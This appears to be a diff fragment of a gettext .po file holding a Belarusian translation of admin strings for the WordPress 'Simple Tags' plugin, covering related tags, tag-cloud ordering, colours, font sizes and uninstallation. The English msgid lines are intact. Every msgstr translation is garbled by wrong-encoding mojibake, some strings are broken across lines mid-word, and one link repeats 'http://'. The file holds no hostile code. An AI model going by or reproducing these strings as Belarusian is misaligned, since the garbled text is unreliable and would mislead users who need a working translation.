+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:392
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:420
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "ÐÐµÑÐ°ÐŽ ÑÐºÑÑÐ¶Ð°Ð²Ð°ÐœÐœÑ Ñ Ð°Ð±'ÑÐŽÐœÐ°ÐœÐœÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº, Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÐœÑ ÐŽÐ»Ñ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:394
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:422
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; ÐÑÐ±ÑÑÐ°Ðµ Ð·Ð°Ð¿ÑÑÑ Ð°Ð»ÑÐ±ÐŸ Ð· Ð¿Ð°Ð·ÐœÐ°ÐºÐ°Ð¹ \"Tag1\" <strong>Ð°Ð»ÑÐ±ÐŸ</strong> Ð· Ð¿Ð°Ð·ÐœÐ°ÐºÐ°Ð¹ \"Tag2\". (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:395
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:423
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; ÐÑÐ±ÑÑÐ°Ðµ Ð·Ð°Ð¿ÑÑÑ Ð· ÐŸÐ±ÐŸÐžÐŒÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ: \"Tag1\" <strong>Ñ</strong> \"Tag2\"."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:397
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:425
+msgid "Related tags link format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:399
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:427
+msgid "Related tags separator:"
+msgstr "ÐÐ°ÐŽÐ·ÐµÐ»ÑÐœÑÐº Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:400
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:413
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:428
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:441
+msgid "Leave empty for list format."
+msgstr "ÐÐ°ÐºÑÐœÑÑÐµ Ð¿ÑÑÑÑÐŒ ÐŽÐ»Ñ Ð²ÑÑÐœÐŸÐ²Ñ ÑÐ¿ÑÑÐ°ÐŒ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:401
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:429
+msgid "Enter the text to show when there is no related tags:"
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ ÑÑÐºÑÑ, ÑÐºÑ Ð°ÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° ÐºÐ°Ð»Ñ ÐœÑÐŒÐ° Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:404
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:432
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ ÑÐŸÐ¹ Ð¶Ð° ÑÑÐœÑÐ°ÐºÑÑÑ ÑÐº ÐŽÐ»Ñ ÑÑÐœÐºÑÑÑ <code>st_related_tags()</code> ÐŽÐ»Ñ ÐœÐ°Ð»Ð°ÐŽÑ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ. ÐÐ»ÑÐŽÐ·ÑÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Ð°ÑÑÐ³ÑÐœÐ°Ð»ÑÐœÑÑ</a> Ð°Ð±ÐŸ <a href=\"http://http://lecactus.ru/2007/10/07/851\">ÑÑÑÐºÑÑ</a> ÐŽÐ°ÐºÑÐŒÐµÐœÑÐ°ÑÑÑ ÐŽÐ»Ñ Ð²ÑÐ»ÑÐºÑÑ
+ ÐŽÑÑÐ°Ð»ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:406
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:434
+msgid "Remove related Tags"
+msgstr "ÐÑÐŽÐ°Ð»ÐµÐœÐœÐµ Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:407
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:435
+msgid "Remove related Tags type format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ Ð²ÑÐŽÐ°Ð»ÐµÐœÐœÑ Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:412
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:440
+msgid "Remove related tags separator:"
+msgstr "ÐÐ°ÐŽÐ·ÐµÐ»ÑÐœÑÐº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:414
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:442
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ ÑÑÐºÑÑ, ÑÐºÑ Ð°ÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° ÐºÐ°Ð»Ñ ÐœÑÐŒÐ° Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:415
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:443
+msgid "Remove related tags  link format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº Ð²ÑÐŽÐ°Ð»ÐµÐœÐœÑ Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:419
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:447
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "Ð¯ÐºÐ°Ñ ÑÐŸÐ·ÐœÑÑÐ° Ð¿Ð°ÐŒÑÐ¶ <strong>&#8216;ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð²ÑÐ±Ð°ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº&#8217;</strong> Ñ <strong>&#8216;ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº&#8217;</strong> ?<br />"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:421
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:449
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð²ÑÐ±Ð°ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº&#8217;</strong> Ð³ÑÑÐ° Ð¿ÐµÑÑÑ ÐºÑÐŸÐº Ð¿Ð°ÐŽÑÐ°Ñ Ð³ÐµÐœÐµÑÐ°Ð²Ð°ÐœÐœÑ Ð²ÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº, Ñ Ð°ÐŽÐ¿Ð°Ð²ÐµÐŽÐœÐ°ÑÑÑ Ð· Ð²ÑÐ»ÑÑÐ°ÐœÑÐŒÑ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:422
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:450
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº&#8217;</strong> Ð³ÑÑÐ° ÐŽÑÑÐ³Ñ ÐºÑÐŸÐº. ÐÐ°ÑÐ»Ñ Ð²ÑÐ±Ð°ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº, Ð²Ñ ÐŒÐŸÐ¶Ð°ÑÐµ Ð¿ÐµÑÐ°ÑÐ°ÑÑÐ°Ð²Ð°ÑÑ ÑÑ
+ Ð¿ÐµÑÐ°ÐŽ Ð¿Ð°ÐºÐ°Ð·Ð°ÐŒ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:424
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:452
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>ÐÑÑÐºÐ»Ð°ÐŽ:</strong> ÐÑ Ð¶Ð°ÐŽÐ°ÐµÑÐµ Ð¿Ð°ÐºÐ°Ð·Ð°ÑÑ Ð²ÑÐ¿Ð°ÐŽÐºÐŸÐ²Ð° 100 ÐœÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº.<br />"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:425
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:453
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "ÐÑ Ð¿Ð°Ð²ÑÐœÐœÑ ÑÑÑÐ°Ð»ÑÐ²Ð°ÑÑ &#8216;ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð²ÑÐ±Ð°ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº&#8217; ÐœÐ° <strong>count-desc</strong> ÐŽÐ»Ñ Ð°ÑÑÑÐŒÐ°ÐœÐœÑ 100 ÐœÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ &#8216;ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº&#8217; ÐœÐ° <strong>random</strong> ÐŽÐ»Ñ Ð²ÑÐ¿Ð°ÐŽÐºÐŸÐ²Ð°Ð³Ð° ÑÐ°ÑÑÐ°Ð²Ð°ÐœÐœÑ Ð²ÐŸÐ±Ð»Ð°ÐºÐ°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:426
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:454
+msgid "Order tags selection:"
+msgstr "ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð²ÑÐ±Ð°ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:434
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:167
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:462
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:157
+msgid "Order tags display:"
+msgstr "ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:437
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:465
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>count-desc</code> &ndash; ÐÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:440
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:468
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; ÐÑÐ¿Ð°ÐŽÐºÐŸÐ²Ð°. (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:442
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:470
+msgid "Include categories in tag cloud ?"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐ±ÑÑÐºÑ Ñ Ð²ÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:443
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:471
+msgid "Tags cloud type format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ Ð²ÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:450
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:478
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "ÐÐ°ÐºÑÑÐŒÐ°Ð»ÑÐœÐ°Ðµ ÐºÐŸÐ»-Ñ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐŽÐ»Ñ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ: (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: 45)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:451
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:479
+msgid "Enter the text to show when there is no tag:"
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ ÑÑÐºÑÑ, Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÐµÐŒÑ ÐºÐ°Ð»Ñ ÐœÑÐŒÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:453
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:481
+msgid "Most popular color:"
+msgstr "ÐÐŸÐ»ÐµÑ ÐœÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:454
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:482
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "ÐÐŸÐ»ÐµÑÑ Ñ ÑÐ°ÑÐœÐ°ÑÑÐ°ÑÐºÐŸÐ²ÑÐŒ ÑÐ°ÑÐŒÐ°ÑÐµ, Ð²Ñ Ð¿Ð°Ð²ÑÐœÐœÑ ÑÐ²ÐµÑÑÑ ÑÑÐµ ÑÑÑÑÑ Ð·ÐœÐ°ÐºÐ°Ñ (#eee Ð³ÑÑÐ° ÐºÐ°ÑÐŸÑÐºÐ°Ñ Ð²ÐµÑÑÑÑ Ð°ÐŽ #eeeeee)."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:455
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:483
+msgid "Least popular color:"
+msgstr "ÐÐŸÐ»ÐµÑ ÐœÐ°Ð¹ÐŒÐµÐœÑ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:456
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:484
+msgid "Most popular font size:"
+msgstr "ÐÐ°ÐŒÐµÑ ÑÑÑÑÑÐ° ÐœÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:457
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:485
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "ÐÐ²Ð° Ð¿Ð°ÐŒÐµÑÑ ÑÑÑÑÑÐ° - Ð³ÑÑÐ° Ð¿Ð°ÐŒÐµÑÑ ÑÐ°ÐŒÑÑ
+ Ð²ÑÐ»ÑÐºÑÑ
+ Ñ ÐŒÐ°Ð»ÐµÐœÑÐºÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:458
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:486
+msgid "Least popular font size:"
+msgstr "ÐÐ°ÐŒÐµÑ ÑÑÑÑÑÐ° ÐœÐ°Ð¹ÐŒÐµÐœÑ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:459
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:487
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "ÐÐŽÐ·ÑÐœÐºÑ Ð²ÑÐŒÑÑÑÐœÐœÑ ÐŽÐ»Ñ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ ÑÑÑÑÑÐ° Ñ Ð²ÐŸÐ±Ð»Ð°ÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:460
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:488
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "ÐÐ¿ÑÑÑ Ð°ÐŽÐ·ÑÐœÐ°Ðº Ð²ÑÐŒÑÑÑÐœÐœÑ Ð¿Ð°ÐŒÐµÑÐ°Ñ ÑÑÑÑÑÐ° Ð·Ð°ÐŽÐ°Ðµ Ð°ÐŽÐ·ÑÐœÐºÑ, Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÐœÑÑ ÐŽÐ»Ñ ÐŽÐ²ÑÑ
+ Ð¿Ð°ÐŒÐµÑÐ°Ñ ÑÑÑÑÑÐ°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:462
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:490
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ ÑÐŸÐ¹ Ð¶Ð° ÑÑÐœÑÐ°ÐºÑÑÑ ÑÐº ÐŽÐ»Ñ ÑÑÐœÐºÑÑÑ <code>st_tag_cloud()</code> ÐŽÐ»Ñ ÐœÐ°Ð»Ð°ÐŽÑ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ. ÐÐ»ÑÐŽÐ·ÑÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Ð°ÑÑÐ³ÑÐœÐ°Ð»ÑÐœÑÑ</a> Ð°Ð±ÐŸ <a href=\"http://http://lecactus.ru/2007/10/07/851\">ÑÑÑÐºÑÑ</a> ÐŽÐ°ÐºÑÐŒÐµÐœÑÐ°ÑÑÑ ÐŽÐ»Ñ Ð²ÑÐ»ÑÐºÑÑ
+ ÐŽÑÑÐ°Ð»ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:476
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:504
+msgid "Options saved"
+msgstr "ÐÐ°Ð»Ð°ÐŽÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:480
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:508
+msgid "Simple Tags options resetted to default options!"
+msgstr "ÐÐ°Ð»Ð°ÐŽÑ Simple Tags Ð°ÐŽÐœÐŸÑÐ»ÐµÐœÑÑ Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:486
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:514
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "Ð£ÑÐµ ÐœÐ°Ð»Ð°ÐŽÑ Simple Tags Ð²ÑÐŽÐ°Ð»ÐµÐœÑÑ! ÐÑ <a href=\"%s\">ÐŽÑÐ°ÐºÑÑÐ²Ð°Ð²Ð°Ð»Ñ ÑÐ±ÑÐŽÐŸÐ²Ñ</a> ! "
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:526
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:527
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:551
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:526
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:549
+msgid "Do you really want to restore the default options?"
+msgstr "ÐÑ ÑÐ°Ð¿ÑÐ°ÑÐŽÑ Ð¶Ð°ÐŽÐ°ÐµÑÐµ Ð°ÐŽÐœÐ°Ð²ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:527
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:551
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:526
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:549
+msgid "Reset Options"
+msgstr "Ð¡ÐºÑÐœÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:534
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:533
+msgid "Uninstallation"
+msgstr "ÐÑÑÑÑÐ°Ð»ÑÑÐºÐ°"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:540
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:539
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
